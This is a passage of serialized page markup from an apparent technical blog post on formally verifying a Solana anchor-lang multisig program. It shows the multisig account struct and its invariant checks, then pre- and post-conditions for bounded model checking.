members\n}\n",[20686],{"type":24,"tag":32,"props":20687,"children":20688},{"__ignoreMap":7},[20689,20696,20703,20733,20792,20821,20873,20880,20901,20931,20961,20991,21020,21050,21080,21109,21149],{"type":24,"tag":83,"props":20690,"children":20691},{"class":85,"line":86},[20692],{"type":24,"tag":83,"props":20693,"children":20694},{"style":107},[20695],{"type":29,"value":20510},{"type":24,"tag":83,"props":20697,"children":20698},{"class":85,"line":113},[20699],{"type":24,"tag":83,"props":20700,"children":20701},{"style":107},[20702],{"type":29,"value":20518},{"type":24,"tag":83,"props":20704,"children":20705},{"class":85,"line":128},[20706,20711,20715,20719,20724,20728],{"type":24,"tag":83,"props":20707,"children":20708},{"style":143},[20709],{"type":29,"value":20710},"    !",{"type":24,"tag":83,"props":20712,"children":20713},{"style":107},[20714],{"type":29,"value":13458},{"type":24,"tag":83,"props":20716,"children":20717},{"style":143},[20718],{"type":29,"value":161},{"type":24,"tag":83,"props":20720,"children":20721},{"style":107},[20722],{"type":29,"value":20723},"keys",{"type":24,"tag":83,"props":20725,"children":20726},{"style":143},[20727],{"type":29,"value":161},{"type":24,"tag":83,"props":20729,"children":20730},{"style":107},[20731],{"type":29,"value":20732},"is_empty()\n",{"type":24,"tag":83,"props":20734,"children":20735},{"class":85,"line":183},[20736,20740,20745,20749,20753,20757,20762,20766,20771,20775,20780,20784,20788],{"type":24,"tag":83,"props":20737,"children":20738},{"style":143},[20739],{"type":29,"value":15360},{"type":24,"tag":83,"props":20741,"children":20742},{"style":107},[20743],{"type":29,"value":20744}," (self",{"type":24,"tag":83,"props":20746,"children":20747},{"style":143},[20748],{"type":29,"value":161},{"type":24,"tag":83,"props":20750,"children":20751},{"style":107},[20752],{"type":29,"value":20723},{"type":24,"tag":83,"props":20754,"children":20755},{"style":143},[20756],{"type":29,"value":161},{"type":24,"tag":83,"props":20758,"children":20759},{"style":107},[20760],{"type":29,"value":20761},"len() ",{"type":24,"tag":83,"props":20763,"children":20764},{"style":143},[20765],{"type":29,"value":19154},{"type":24,"tag":83,"props":20767,"children":20768},{"style":3163},[20769],{"type":29,"value":20770}," u16",{"type":24,"tag":83,"props":20772,"children":20773},{"style":143},[20774],{"type":29,"value":3226},{"type":24,"tag":83,"props":20776,"children":20777},{"style":3163},[20778],{"type":29,"value":20779},"MAX",{"type":24,"tag":83,"props":20781,"children":20782},{"style":90},[20783],{"type":29,"value":8572},{"type":24,"tag":83,"props":20785,"children":20786},{"style":3163},[20787],{"type":29,"value":13476},{"type":24,"tag":83,"props":20789,"children":20790},{"style":107},[20791],{"type":29,"value":2905},{"type":24,"tag":83,"props":20793,"children":20794},{"class":85,"line":203},[20795,20799,20803,20807,20812,20816],{"type":24,"tag":83,"props":20796,"children":20797},{"style":143},[20798],{"type":29,"value":15360},{"type":24,"tag":83,"props":20800,"children":20801},{"style":107},[20802],{"type":29,"value":20744},{"type":24,"tag":83,"props":20804,"children":20805},{"style":143},[20806],{"type":29,"value":161},{"type":24,"tag":83,"props":20808,"children":20809},{"style":107},[20810],{"type":29,"value":20811},"threshold ",{"type":24,"tag":83,"props":20813,"children":20814},{"style":143},[20815],{"type":29,"value":9690},{"type":24,"tag":83,"props":20817,"children":20818},{"style":107},[20819],{"type":29,"value":20820}," 1)\n",{"type":24,"tag":83,"props":20822,"children":20823},{"class":85,"line":212},[20824,20828,20832,20836,20840,20844,20848,20852,20856,20860,20864,20868],{"type":24,"tag":83,"props":20825,"children":20826},{"style":143},[20827],{"type":29,"value":15360},{"type":24,"tag":83,"props":20829,"children":20830},{"style":107},[20831],{"type":29,"value":20744},{"type":24,"tag":83,"props":20833,"children":20834},{"style":143},[20835],{"type":29,"value":161},{"type":24,"tag":83,"props":20837,"children":20838},{"style":107},[20839],{"type":29,"value":20811},{"type":24,"tag":83,"props":20841,"children":20842},{"style":90},[20843],{"type":29,"value":8586},{"type":24,"tag":83,"props":20845,"children":20846},{"style":3163},[20847],{"type":29,"value":13476},{"type":24,"tag":83,"props":20849,"children":20850},{"style":143},[20851],{"type":29,"value":7942},{"type":24,"tag":83,"props":20853,"children":20854},{"style":107},[20855],{"type":29,"value":13542},{"type":24,"tag":83,"props":20857,"children":20858},{"style":143},[20859],{"type":29,"value":161},{"type":24,"tag":83,"props":20861,"children":20862},{"style":107},[20863],{"type":29,"value":20723},{"type":24,"tag":83,"props":20865,"children":20866},{"style":143},[20867],{"type":29,"value":161},{"type":24,"tag":83,"props":20869,"children":20870},{"style":107},[20871],{"type":29,"value":20872},"len())\n",{"type":24,"tag":83,"props":20874,"children":20875},{"class":85,"line":256},[20876],{"type":24,"tag":83,"props":20877,"children":20878},{"style":107},[20879],{"type":29,"value":19999},{"type":24,"tag":83,"props":20881,"children":20882},{"class":85,"line":270},[20883,20887,20892,20897],{"type":24,"tag":83,"props":20884,"children":20885},{"style":90},[20886],{"type":29,"value":13435},{"type":24,"tag":83,"props":20888,"children":20889},{"style":90},[20890],{"type":29,"value":20891}," struct",{"type":24,"tag":83,"props":20893,"children":20894},{"style":3163},[20895],{"type":29,"value":20896}," Ms",{"type":24,"tag":83,"props":20898,"children":20899},{"style":107},[20900],{"type":29,"value":125},{"type":24,"tag":83,"props":20902,"children":20903},{"class":85,"line":302},[20904,20908,20913,20917,20921,20926],{"type":24,"tag":83,"props":20905,"children":20906},{"style":90},[20907],{"type":29,"value":20583},{"type":24,"tag":83,"props":20909,"children":20910},{"style":137},[20911],{"type":29,"value":20912}," threshold",{"type":24,"tag":83,"props":20914,"children":20915},{"style":143},[20916],{"type":29,"value":195},{"type":24,"tag":83,"props":20918,"children":20919},{"style":3163},[20920],{"type":29,"value":20770},{"type":24,"tag":83,"props":20922,"children":20923},{"style":107},[20924],{"type":29,"value":20925},",               ",{"type":24,"tag":83,"props":20927,"children":20928},{"style":2735},[20929],{"type":29,"value":20930},"// threshold for signatures\n",{"type":24,"tag":83,"props":20932,"children":20933},{"class":85,"line":324},[20934,20938,20943,20947,20951,20956],{"type":24,"tag":83,"props":20935,"children":20936},{"style":90},[20937],{"type":29,"value":20583},{"type":24,"tag":83,"props":20939,"children":20940},{"style":137},[20941],{"type":29,"value":20942}," authority_index",{"type":24,"tag":83,"props":20944,"children":20945},{"style":143},[20946],{"type":29,"value":195},{"type":24,"tag":83,"props":20948,"children":20949},{"style":3163},[20950],{"type":29,"value":20770},{"type":24,"tag":83,"props":20952,"children":20953},{"style":107},[20954],{"type":29,"value":20955},",         ",{"type":24,"tag":83,"props":20957,"children":20958},{"style":2735},[20959],{"type":29,"value":20960},"// index to seed other authorities under this multisig\n",{"type":24,"tag":83,"props":20962,"children":20963},{"class":85,"line":345},[20964,20968,20973,20977,20981,20986],{"type":24,"tag":83,"props":20965,"children":20966},{"style":90},[20967],{"type":29,"value":20583},{"type":24,"tag":83,"props":20969,"children":20970},{"style":137},[20971],{"type":29,"value":20972}," transaction_index",{"type":24,"tag":83,"props":20974,"children":20975},{"style":143},[20976],{"type":29,"value":195},{"type":24,"tag":83,"props":20978,"children":20979},{"style":3163},[20980],{"type":29,"value":17286},{"type":24,"tag":83,"props":20982,"children":20983},{"style":107},[20984],{"type":29,"value":20985},",       ",{"type":24,"tag":83,"props":20987,"children":20988},{"style":2735},[20989],{"type":29,"value":20990},"// look up and seed reference for transactions\n",{"type":24,"tag":83,"props":20992,"children":20993},{"class":85,"line":358},[20994,20998,21003,21007,21011,21015],{"type":24,"tag":83,"props":20995,"children":20996},{"style":90},[20997],{"type":29,"value":20583},{"type":24,"tag":83,"props":20999,"children":21000},{"style":137},[21001],{"type":29,"value":21002}," ms_change_index",{"type":24,"tag":83,"props":21004,"children":21005},{"style":143},[21006],{"type":29,"value":195},{"type":24,"tag":83,"props":21008,"children":21009},{"style":3163},[21010],{"type":29,"value":17286},{"type":24,"tag":83,"props":21012,"children":21013},{"style":107},[21014],{"type":29,"value":20955},{"type":24,"tag":83,"props":21016,"children":21017},{"style":2735},[21018],{"type":29,"value":21019},"// the last executed/closed transaction\n",{"type":24,"tag":83,"props":21021,"children":21022},{"class":85,"line":367},[21023,21027,21032,21036,21040,21045],{"type":24,"tag":83,"props":21024,"children":21025},{"style":90},[21026],{"type":29,"value":20583},{"type":24,"tag":83,"props":21028,"children":21029},{"style":137},[21030],{"type":29,"value":21031}," bump",{"type":24,"tag":83,"props":21033,"children":21034},{"style":143},[21035],{"type":29,"value":195},{"type":24,"tag":83,"props":21037,"children":21038},{"style":3163},[21039],{"type":29,"value":14377},{"type":24,"tag":83,"props":21041,"children":21042},{"style":107},[21043],{"type":29,"value":21044},",                     ",{"type":24,"tag":83,"props":21046,"children":21047},{"style":2735},[21048],{"type":29,"value":21049},"// bump for the multisig seed\n",{"type":24,"tag":83,"props":21051,"children":21052},{"class":85,"line":406},[21053,21057,21062,21066,21070,21075],{"type":24,"tag":83,"props":21054,"children":21055},{"style":90},[21056],{"type":29,"value":20583},{"type":24,"tag":83,"props":21058,"children":21059},{"style":137},[21060],{"type":29,"value":21061}," create_key",{"type":24,"tag":83,"props":21063,"children":21064},{"style":143},[21065],{"type":29,"value":195},{"type":24,"tag":83,"props":21067,"children":21068},{"style":3163},[21069],{"type":29,"value":20597},{"type":24,"tag":83,"props":21071,"children":21072},{"style":107},[21073],{"type":29,"value":21074},",           ",{"type":24,"tag":83,"props":21076,"children":21077},{"style":2735},[21078],{"type":29,"value":21079},"// random key(or not) used to seed the multisig pda\n",{"type":24,"tag":83,"props":21081,"children":21082},{"class":85,"line":427},[21083,21087,21092,21096,21100,21104],{"type":24,"tag":83,"props":21084,"children":21085},{"style":90},[21086],{"type":29,"value":20583},{"type":24,"tag":83,"props":21088,"children":21089},{"style":137},[21090],{"type":29,"value":21091}," allow_external_execute",{"type":24,"tag":83,"props":21093,"children":21094},{"style":143},[21095],{"type":29,"value":195},{"type":24,"tag":83,"props":21097,"children":21098},{"style":3163},[21099],{"type":29,"value":11797},{"type":24,"tag":83,"props":21101,"children":21102},{"style":107},[21103],{"type":29,"value":568},{"type":24,"tag":83,"props":21105,"children":21106},{"style":2735},[21107],{"type":29,"value":21108},"// allow non-member keys to execute txs\n",{"type":24,"tag":83,"props":21110,"children":21111},{"class":85,"line":440},[21112,21116,21121,21125,21130,21134,21139,21144],{"type":24,"tag":83,"props":21113,"children":21114},{"style":90},[21115],{"type":29,"value":20583},{"type":24,"tag":83,"props":21117,"children":21118},{"style":137},[21119],{"type":29,"value":21120}," keys",{"type":24,"tag":83,"props":21122,"children":21123},{"style":143},[21124],{"type":29,"value":195},{"type":24,"tag":83,"props":21126,"children":21127},{"style":3163},[21128],{"type":29,"value":21129}," Vec",{"type":24,"tag":83,"props":21131,"children":21132},{"style":107},[21133],{"type":29,"value":5552},{"type":24,"tag":83,"props":21135,"children":21136},{"style":3163},[21137],{"type":29,"value":21138},"Pubkey",{"type":24,"tag":83,"props":21140,"children":21141},{"style":107},[21142],{"type":29,"value":21143},">,            ",{"type":24,"tag":83,"props":21145,"children":21146},{"style":2735},[21147],{"type":29,"value":21148},"// keys of the members\n",{"type":24,"tag":83,"props":21150,"children":21151},{"class":85,"line":449},[21152],{"type":24,"tag":83,"props":21153,"children":21154},{"style":107},[21155],{"type":29,"value":464},{"type":24,"tag":25,"props":21157,"children":21158},{},[21159],{"type":29,"value":21160},"Here we are verifying multiple things at once:",{"type":24,"tag":16422,"props":21162,"children":21163},{},[21164,21175,21186,21197],{"type":24,"tag":67,"props":21165,"children":21166},{},[21167,21173],{"type":24,"tag":32,"props":21168,"children":21170},{"className":21169},[],[21171],{"type":29,"value":21172},"!self.keys.is_empty()",{"type":29,"value":21174}," : ensure there is at least one member",{"type":24,"tag":67,"props":21176,"children":21177},{},[21178,21184],{"type":24,"tag":32,"props":21179,"children":21181},{"className":21180},[],[21182],{"type":29,"value":21183},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":21185}," : set an upper limit of 65535 members",{"type":24,"tag":67,"props":21187,"children":21188},{},[21189,21195],{"type":24,"tag":32,"props":21190,"children":21192},{"className":21191},[],[21193],{"type":29,"value":21194},"self.threshold >= 1",{"type":29,"value":21196}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":24,"tag":67,"props":21198,"children":21199},{},[21200,21206],{"type":24,"tag":32,"props":21201,"children":21203},{"className":21202},[],[21204],{"type":29,"value":21205},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":21207}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":24,"tag":51,"props":21209,"children":21211},{"id":21210},"verification-how-do-we-check-that-our-model-is-correct",[21212],{"type":29,"value":21213},"Verification: How do we check that our model is correct?",{"type":24,"tag":25,"props":21215,"children":21216},{},[21217,21219,21223,21225,21230],{"type":29,"value":21218},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":24,"tag":2655,"props":21220,"children":21221},{},[21222],{"type":29,"value":19709},{"type":29,"value":21224}," on which we can run bounded model checking. Our tool does this ",{"type":24,"tag":2655,"props":21226,"children":21227},{},[21228],{"type":29,"value":21229},"automagically",{"type":29,"value":21231}," for anchor-lang programs.",{"type":24,"tag":25,"props":21233,"children":21234},{},[21235,21237,21243,21245,21250,21252,21257,21258,21263,21265,21270,21272,21277,21278,21284,21286,21292,21293,21299],{"type":29,"value":21236},"Specifically, for a given ",{"type":24,"tag":32,"props":21238,"children":21240},{"className":21239},[],[21241],{"type":29,"value":21242},"Context\u003CT>",{"type":29,"value":21244}," with ",{"type":24,"tag":2655,"props":21246,"children":21247},{},[21248],{"type":29,"value":21249},"incoming",{"type":29,"value":21251}," accounts of types (",{"type":24,"tag":32,"props":21253,"children":21255},{"className":21254},[],[21256],{"type":29,"value":20481},{"type":29,"value":4325},{"type":24,"tag":32,"props":21259,"children":21261},{"className":21260},[],[21262],{"type":29,"value":3468},{"type":29,"value":21264},") and ",{"type":24,"tag":2655,"props":21266,"children":21267},{},[21268],{"type":29,"value":21269},"outgoing",{"type":29,"value":21271}," accounts of type (",{"type":24,"tag":32,"props":21273,"children":21275},{"className":21274},[],[21276],{"type":29,"value":3468},{"type":29,"value":4325},{"type":24,"tag":32,"props":21279,"children":21281},{"className":21280},[],[21282],{"type":29,"value":21283},"close",{"type":29,"value":21285},") we define a ",{"type":24,"tag":32,"props":21287,"children":21289},{"className":21288},[],[21290],{"type":29,"value":21291},"pre_condition",{"type":29,"value":2287},{"type":24,"tag":32,"props":21294,"children":21296},{"className":21295},[],[21297],{"type":29,"value":21298},"post_condition",{"type":29,"value":21300}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":24,"tag":25,"props":21302,"children":21303},{},[21304],{"type":24,"tag":32,"props":21305,"children":21307},{"className":21306},[3726,3727],[21308],{"type":24,"tag":83,"props":21309,"children":21311},{"className":21310},[3732],[21312],{"type":24,"tag":83,"props":21313,"children":21315},{"className":21314,"ariaHidden":1237},[3737],[21316,21352],{"type":24,"tag":83,"props":21317,"children":21319},{"className":21318},[3742],[21320,21325,21333,21338,21342,21348],{"type":24,"tag":83,"props":21321,"children":21324},{"className":21322,"style":21323},[3747],"height:0.6833em;",[],{"type":24,"tag":83,"props":21326,"children":21330},{"className":21327,"style":21329},[3753,21328],"mathnormal","margin-right:0.13889em;",[21331],{"type":29,"value":21332},"P",{"type":24,"tag":83,"props":21334,"children":21336},{"className":21335},[3753],[21337],{"type":29,"value":1166},{"type":24,"tag":83,"props":21339,"children":21341},{"className":21340,"style":3931},[3833],[],{"type":24,"tag":83,"props":21343,"children":21345},{"className":21344},[3936],[21346],{"type":29,"value":21347},":=",{"type":24,"tag":83,"props":21349,"children":21351},{"className":21350,"style":3931},[3833],[],{"type":24,"tag":83,"props":21353,"children":21355},{"className":21354},[3742],[21356,21361,21501,21505],{"type":24,"tag":83,"props":21357,"children":21360},{"className":21358,"style":21359},[3747],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":24,"tag":83,"props":21362,"children":21365},{"className":21363},[21364],"mop",[21366,21375],{"type":24,"tag":83,"props":21367,"children":21372},{"className":21368,"style":21371},[21364,21369,21370],"op-symbol","small-op","position:relative;top:0em;",[21373],{"type":29,"value":21374},"⋀",{"type":24,"tag":83,"props":21376,"children":21378},{"className":21377},[3769],[21379],{"type":24,"tag":83,"props":21380,"children":21383},{"className":21381},[3774,21382],"vlist-t2",[21384,21489],{"type":24,"tag":83,"props":21385,"children":21387},{"className":21386},[3779],[21388,21482],{"type":24,"tag":83,"props":21389,"children":21392},{"className":21390,"style":21391},[3784],"height:0.2253em;",[21393],{"type":24,"tag":83,"props":21394,"children":21396},{"style":21395},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[21397,21401],{"type":24,"tag":83,"props":21398,"children":21400},{"className":21399,"style":3794},[3793],[],{"type":24,"tag":83,"props":21402,"children":21404},{"className":21403},[3799,3800,3801,3802],[21405],{"type":24,"tag":83,"props":21406,"children":21408},{"className":21407},[3753,3802],[21409,21414,21420,21430,21436,21445,21454,21460,21465,21471,21476],{"type":24,"tag":83,"props":21410,"children":21412},{"className":21411},[3753,21328,3802],[21413],{"type":29,"value":2033},{"type":24,"tag":83,"props":21415,"children":21417},{"className":21416},[3753,21328,3802],[21418],{"type":29,"value":21419},"cc",{"type":24,"tag":83,"props":21421,"children":21423},{"className":21422},[3833,3802],[21424],{"type":24,"tag":83,"props":21425,"children":21427},{"className":21426},[3802],[21428],{"type":29,"value":21429}," ",{"type":24,"tag":83,"props":21431,"children":21433},{"className":21432},[3936,3802],[21434],{"type":29,"value":21435},"∈",{"type":24,"tag":83,"props":21437,"children":21439},{"className":21438},[3833,3802],[21440],{"type":24,"tag":83,"props":21441,"children":21443},{"className":21442},[3802],[21444],{"type":29,"value":21429},{"type":24,"tag":83,"props":21446,"children":21448},{"className":21447},[3753,29,3802],[21449],{"type":24,"tag":83,"props":21450,"children":21452},{"className":21451},[3753,3802],[21453],{"type":29,"value":21249},{"type":24,"tag":83,"props":21455,"children":21458},{"className":21456},[21457,3802],"mopen",[21459],{"type":29,"value":558},{"type":24,"tag":83,"props":21461,"children":21463},{"className":21462},[3753,21328,3802],[21464],{"type":29,"value":2891},{"type":24,"tag":83,"props":21466,"children":21468},{"className":21467},[3753,21328,3802],[21469],{"type":29,"value":21470},"t",{"type":24,"tag":83,"props":21472,"children":21474},{"className":21473},[3753,21328,3802],[21475],{"type":29,"value":19015},{"type":24,"tag":83,"props":21477,"children":21480},{"className":21478},[21479,3802],"mclose",[21481],{"type":29,"value":2872},{"type":24,"tag":83,"props":21483,"children":21486},{"className":21484},[21485],"vlist-s",[21487],{"type":29,"value":21488},"​",{"type":24,"tag":83,"props":21490,"children":21492},{"className":21491},[3779],[21493],{"type":24,"tag":83,"props":21494,"children":21497},{"className":21495,"style":21496},[3784],"height:0.4747em;",[21498],{"type":24,"tag":83,"props":21499,"children":21500},{},[],{"type":24,"tag":83,"props":21502,"children":21504},{"className":21503,"style":3872},[3833],[],{"type":24,"tag":83,"props":21506,"children":21508},{"className":21507},[3753],[21509,21519,21524,21529,21534],{"type":24,"tag":83,"props":21510,"children":21512},{"className":21511},[3753,29],[21513],{"type":24,"tag":83,"props":21514,"children":21516},{"className":21515},[3753],[21517],{"type":29,"value":21518},"invariant",{"type":24,"tag":83,"props":21520,"children":21522},{"className":21521},[21457],[21523],{"type":29,"value":558},{"type":24,"tag":83,"props":21525,"children":21527},{"className":21526},[3753,21328],[21528],{"type":29,"value":2033},{"type":24,"tag":83,"props":21530,"children":21532},{"className":21531},[3753,21328],[21533],{"type":29,"value":21419},{"type":24,"tag":83,"props":21535,"children":21537},{"className":21536},[21479],[21538],{"type":29,"value":2872},{"type":24,"tag":25,"props":21540,"children":21541},{},[21542],{"type":24,"tag":32,"props":21543,"children":21545},{"className":21544},[3726,3727],[21546],{"type":24,"tag":83,"props":21547,"children":21549},{"className":21548},[3732],[21550],{"type":24,"tag":83,"props":21551,"children":21553},{"className":21552,"ariaHidden":1237},[3737],[21554,21585],{"type":24,"tag":83,"props":21555,"children":21557},{"className":21556},[3742],[21558,21562,21567,21572,21576,21581],{"type":24,"tag":83,"props":21559,"children":21561},{"className":21560,"style":21323},[3747],[],{"type":24,"tag":83,"props":21563,"children":21565},{"className":21564,"style":21329},[3753,21328],[21566],{"type":29,"value":21332},{"type":24,"tag":83,"props":21568,"children":21570},{"className":21569},[3753],[21571],{"type":29,"value":3756},{"type":24,"tag":83,"props":21573,"children":21575},{"className":21574,"style":3931},[3833],[],{"type":24,"tag":83,"props":21577,"children":21579},{"className":21578},[3936],[21580],{"type":29,"value":21347},{"type":24,"tag":83,"props":21582,"children":21584},{"className":21583,"style":3931},[3833],[],{"type":24,"tag":83,"props":21586,"children":21588},{"className":21587},[3742],[21589,21593,21716,21720],{"type":24,"tag":83,"props":21590,"children":21592},{"className":21591,"style":21359},[3747],[],{"type":24,"tag":83,"props":21594,"children":21596},{"className":21595},[21364],[21597,21602],{"type":24,"tag":83,"props":21598,"children":21600},{"className":21599,"style":21371},[21364,21369,21370],[21601],{"type":29,"value":21374},{"type":24,"tag":83,"props":21603,"children":21605},{"className":21604},[3769],[21606],{"type":24,"tag":83,"props":21607,"children":21609},{"className":21608},[3774,21382],[21610,21705],{"type":24,"tag":83,"props":21611,"children":21613},{"className":21612},[3779],[21614,21700],{"type":24,"tag":83,"props":21615,"children":21617},{"className":21616,"style":21391},[3784],[21618],{"type":24,"tag":83,"props":21619,"children":21620},{"style":21395},[21621,21625],{"type":24,"tag":83,"props":21622,"children":21624},{"className":21623,"style":3794},[3793],[],{"type":24,"tag":83,"props":21626,"children":21628},{"className":21627},[3799,3800,3801,3802],[21629],{"type":24,"tag":83,"props":21630,"children":21632},{"className":21631},[3753,3802],[21633,21638,21643,21652,21657,21666,21675,21680,21685,21690,21695],{"type":24,"tag":83,"props":21634,"children":21636},{"className":21635},[3753,21328,3802],[21637],{"type":29,"value":2033},{"type":24,"tag":83,"props":21639,"children":21641},{"className":21640},[3753,21328,3802],[21642],{"type":29,"value":21419},{"type":24,"tag":83,"props":21644,"children":21646},{"className":21645},[3833,3802],[21647],{"type":24,"tag":83,"props":21648,"children":21650},{"className":21649},[3802],[21651],{"type":29,"value":21429},{"type":24,"tag":83,"props":21653,"children":21655},{"className":21654},[3936,3802],[21656],{"type":29,"value":21435},{"type":24,"tag":83,"props":21658,"children":21660},{"className":21659},[3833,3802],[21661],{"type":24,"tag":83,"props":21662,"children":21664},{"className":21663},[3802],[21665],{"type":29,"value":21429},{"type":24,"tag":83,"props":21667,"children":21669},{"className":21668},[3753,29,3802],[21670],{"type":24,"tag":83,"props":21671,"children":21673},{"className":21672},[3753,3802],[21674],{"type":29,"value":21269},{"type":24,"tag":83,"props":21676,"children":21678},{"className":21677},[21457,3802],[21679],{"type":29,"value":558},{"type":24,"tag":83,"props":21681,"children":21683},{"className":21682},[3753,21328,3802],[21684],{"type":29,"value":2891},{"type":24,"tag":83,"props":21686,"children":21688},{"className":21687},[3753,21328,3802],[21689],{"type":29,"value":21470},{"type":24,"tag":83,"props":21691,"children":21693},{"className":21692},[3753,21328,3802],[21694],{"type":29,"value":19015},{"type":24,"tag":83,"props":21696,"children":21698},{"className":21697},[21479,3802],[21699],{"type":29,"value":2872},{"type":24,"tag":83,"props":21701,"children":21703},{"className":21702},[21485],[21704],{"type":29,"value":21488},{"type":24,"tag":83,"props":21706,"children":21708},{"className":21707},[3779],[21709],{"type":24,"tag":83,"props":21710,"children":21712},{"className":21711,"style":21496},[3784],[21713],{"type":24,"tag":83,"props":21714,"children":21715},{},[],{"type":24,"tag":83,"props":21717,"children":21719},{"className":21718,"style":3872},[3833],[],{"type":24,"tag":83,"props":21721,"children":21723},{"className":21722},[3753],[21724,21733,21738,21743,21748],{"type":24,"tag":83,"props":21725,"children":21727},{"className":21726},[3753,29],[21728],{"type":24,"tag":83,"props":21729,"children":21731},{"className":21730},[3753],[21732],{"type":29,"value":21518},{"type":24,"tag":83,"props":21734,"children":21736},{"className":21735},[21457],[21737],{"type":29,"value":558},{"type":24,"tag":83,"props":21739,"children":21741},{"className":21740},[3753,21328],[21742],{"type":29,"value":2033},{"type":24,"tag":83,"props":21744,"children":21746},{"className":21745},[3753,21328],[21747],{"type":29,"value":21419},{"type":24,"tag":83,"props":21749,"children":21751},{"className":21750},[21479],[21752],{"type":29,"value":2872},{"type":24,"tag":25,"props":21754,"children":21755},{},[21756],{"type":29,"value":21757},"Our instruction invariants are represented as:",{"type":24,"tag":16422,"props":21759,"children":21760},{},[21761,21797],{"type":24,"tag":67,"props":21762,"children":21763},{},[21764,21791,21792],{"type":24,"tag":32,"props":21765,"children":21767},{"className":21766},[3726,3727],[21768],{"type":24,"tag":83,"props":21769,"children":21771},{"className":21770},[3732],[21772],{"type":24,"tag":83,"props":21773,"children":21775},{"className":21774,"ariaHidden":1237},[3737],[21776],{"type":24,"tag":83,"props":21777,"children":21779},{"className":21778},[3742],[21780,21784],{"type":24,"tag":83,"props":21781,"children":21783},{"className":21782,"style":21323},[3747],[],{"type":24,"tag":83,"props":21785,"children":21788},{"className":21786,"style":21787},[3753,21328],"margin-right:0.05764em;",[21789],{"type":29,"value":21790},"S",{"type":29,"value":1920},{"type":24,"tag":32,"props":21793,"children":21795},{"className":21794},[],[21796],{"type":29,"value":19895},{"type":24,"tag":67,"props":21798,"children":21799},{},[21800,21826,21827],{"type":24,"tag":32,"props":21801,"children":21803},{"className":21802},[3726,3727],[21804],{"type":24,"tag":83,"props":21805,"children":21807},{"className":21806},[3732],[21808],{"type":24,"tag":83,"props":21809,"children":21811},{"className":21810,"ariaHidden":1237},[3737],[21812],{"type":24,"tag":83,"props":21813,"children":21815},{"className":21814},[3742],[21816,21820],{"type":24,"tag":83,"props":21817,"children":21819},{"className":21818,"style":21323},[3747],[],{"type":24,"tag":83,"props":21821,"children":21823},{"className":21822,"style":21787},[3753,21328],[21824],{"type":29,"value":21825},"E",{"type":29,"value":1920},{"type":24,"tag":32,"props":21828,"children":21830},{"className":21829},[],[21831],{"type":29,"value":19902},{"type":24,"tag":25,"props":21833,"children":21834},{},[21835,21837,21864,21866,21871,21873,21879],{"type":29,"value":21836},"And ",{"type":24,"tag":32,"props":21838,"children":21840},{"className":21839},[3726,3727],[21841],{"type":24,"tag":83,"props":21842,"children":21844},{"className":21843},[3732],[21845],{"type":24,"tag":83,"props":21846,"children":21848},{"className":21847,"ariaHidden":1237},[3737],[21849],{"type":24,"tag":83,"props":21850,"children":21852},{"className":21851},[3742],[21853,21857],{"type":24,"tag":83,"props":21854,"children":21856},{"className":21855,"style":21323},[3747],[],{"type":24,"tag":83,"props":21858,"children":21861},{"className":21859,"style":21860},[3753,21328],"margin-right:0.07153em;",[21862],{"type":29,"value":21863},"K",{"type":29,"value":21865}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":24,"tag":32,"props":21867,"children":21869},{"className":21868},[],[21870],{"type":29,"value":20230},{"type":29,"value":21872}," not an ",{"type":24,"tag":32,"props":21874,"children":21876},{"className":21875},[],[21877],{"type":29,"value":21878},"Err",{"type":29,"value":2554},{"type":24,"tag":25,"props":21881,"children":21882},{},[21883],{"type":29,"value":21884},"In order to verify these conditions we need to verify three cases:",{"type":24,"tag":1818,"props":21886,"children":21888},{"id":21887},"account-invariants-1",[21889],{"type":29,"value":21890},"Account invariants",{"type":24,"tag":25,"props":21892,"children":21893},{},[21894,21896,21927,21929,21959,21961,21991],{"type":29,"value":21895},"After we execute an instruction, either the function should error and be reverted (",{"type":24,"tag":32,"props":21897,"children":21899},{"className":21898},[3726,3727],[21900],{"type":24,"tag":83,"props":21901,"children":21903},{"className":21902},[3732],[21904],{"type":24,"tag":83,"props":21905,"children":21907},{"className":21906,"ariaHidden":1237},[3737],[21908],{"type":24,"tag":83,"props":21909,"children":21911},{"className":21910},[3742],[21912,21916,21922],{"type":24,"tag":83,"props":21913,"children":21915},{"className":21914,"style":21323},[3747],[],{"type":24,"tag":83,"props":21917,"children":21919},{"className":21918},[3753],[21920],{"type":29,"value":21921},"¬",{"type":24,"tag":83,"props":21923,"children":21925},{"className":21924,"style":21860},[3753,21328],[21926],{"type":29,"value":21863},{"type":29,"value":21928},") or the account post-invariants should hold (",{"type":24,"tag":32,"props":21930,"children":21932},{"className":21931},[3726,3727],[21933],{"type":24,"tag":83,"props":21934,"children":21936},{"className":21935},[3732],[21937],{"type":24,"tag":83,"props":21938,"children":21940},{"className":21939,"ariaHidden":1237},[3737],[21941],{"type":24,"tag":83,"props":21942,"children":21944},{"className":21943},[3742],[21945,21949,21954],{"type":24,"tag":83,"props":21946,"children":21948},{"className":21947,"style":21323},[3747],[],{"type":24,"tag":83,"props":21950,"children":21952},{"className":21951,"style":21329},[3753,21328],[21953],{"type":29,"value":21332},{"type":24,"tag":83,"props":21955,"children":21957},{"className":21956},[3753],[21958],{"type":29,"value":3756},{"type":29,"value":21960},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":24,"tag":32,"props":21962,"children":21964},{"className":21963},[3726,3727],[21965],{"type":24,"tag":83,"props":21966,"children":21968},{"className":21967},[3732],[21969],{"type":24,"tag":83,"props":21970,"children":21972},{"className":21971,"ariaHidden":1237},[3737],[21973],{"type":24,"tag":83,"props":21974,"children":21976},{"className":21975},[3742],[21977,21981,21986],{"type":24,"tag":83,"props":21978,"children":21980},{"className":21979,"style":21323},[3747],[],{"type":24,"tag":83,"props":21982,"children":21984},{"className":21983,"style":21329},[3753,21328],[21985],{"type":29,"value":21332},{"type":24,"tag":83,"props":21987,"children":21989},{"className":21988},[3753],[21990],{"type":29,"value":1166},{"type":29,"value":21992},") should hold since we will verify all of the functions eventually.",{"type":24,"tag":25,"props":21994,"children":21995},{},[21996,21998],{"type":29,"value":21997},"So we are trying to prove that 